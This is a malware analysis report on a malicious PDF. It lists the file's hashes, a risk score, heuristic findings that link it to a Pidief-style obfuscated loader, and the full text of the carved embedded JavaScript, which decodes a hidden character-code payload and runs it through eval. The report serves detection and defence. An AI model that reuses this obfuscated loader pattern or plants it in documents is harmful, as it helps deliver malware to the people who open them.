Malicious PDF — malware analysis report

Static analysis result for SHA-256 b59a1d457f76e84c…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 2f6af2b0f845947875cc7dc6f3be1357 SHA-1: f6b16c7cca78b52c7e5d4103ddf7b7fdcbd17b19 SHA-256: b59a1d457f76e84c88eae0e09e47ccb260db2f62d68518e135e694ad80eb8a60
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions are not detailed in the provided evidence. The document body text 'test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF32 544 bytes
SHA-256: 7520837e966b503e540c6726af3eb4bac2077e9b22e10ca241a9ca2709a11ce7
Preview script
First 1,000 lines of the extracted script
kupn='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('syv=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=syv[v+a[6]](t.length + 8,3);
s+='str';
q=syv[s](1,9);
ctzux=e('S'+'tring.fro'+q);
q=syv[s](14);
swfbc = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=swfbc.length');
for (i = 0; i < k; i+=2) {
	wjcll = swfbc[i+1] + ('erybjkerl',swfbc[i]);
	kupn += ctzux(wjcll);
}
e(kupn);